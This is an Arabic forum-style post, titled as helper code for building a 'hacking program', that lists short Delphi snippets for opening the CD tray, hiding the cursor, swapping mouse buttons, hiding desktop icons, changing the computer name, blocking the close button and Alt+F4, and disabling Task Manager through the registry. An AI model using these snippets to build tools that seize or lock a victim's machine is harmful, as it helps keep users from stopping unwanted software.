بعض الاكواد المساعدة في عمل برنامج اختراق


فتح قارئ الاقراص

كود:
1
mciSendString('Set cdaudio door open wait', nil, 0, handle) ;

غلق قارئ الاقراص

كود:
1
mciSendString('Set cdaudio door closed wait', nil, 0, handle) ;

اخفاء الماوس

كود:
1
ShowCursor(False);
اظهار الماوس

كود:
1
ShowCursor(True);
تعطيل زر إغلاق
كود:
1
2
3
4
5
6
7
var
Flag: UINT;
AppSysMenu: THandle;
begin
AppSysMenu:=GetSystemMenu(Handle,False);
Flag:=MF_GRAYED;
EnableMenuItem(AppSysMenu,SC_CLOSE,MF_BYCOMMAND or Flag);
تعطيل ALT+F4

كود:
1
2
3
4
5
6
7
8
9
10
if (Key = VK_F4) and (ssAlt in Shift) then Key := 0;
Change Computer Name:
function SetComputerName(AComputerName: string): Boolean;
var
ComputerName: array[0..MAX_COMPUTERNAME_LENGTH + 1] of Char;
Size: Cardinal;
begin
StrPCopy(ComputerName, AComputerName);
Result := Windows.SetComputerName(ComputerName);
end;
مبادلة أزرار الماوس

كود:
1
2
3
4
5
6
7
procedure SwapMouseButtons(bValue: Boolean);
begin
if bValue then
SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 1, nil, 0)
else
SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 0, nil, 0);
end;
إخفاء ايقونات سطح المكتب

كود:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ShowWindow(FindWindow(nil, 'Program Manager'), SW_HIDE);
Show Desktop Icons:
ShowWindow(FindWindow(nil, 'Program Manager'), SW_SHOW);
Disable Task Manager
procedure DisableTaskMgr(bTF: Boolean);
var
reg: TRegistry;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;

reg.OpenKey('Software', True);
reg.OpenKey('Microsoft', True);
reg.OpenKey('Windows', True);
reg.OpenKey('CurrentVersion', True);
reg.OpenKey('Policies', True);
reg.OpenKey('System', True);

if bTF = True then
begin
reg.WriteString('DisableTaskMgr', '1');
end
else if bTF = False then
begin
reg.DeleteValue('DisableTaskMgr');
end;
reg.CloseKey;
end;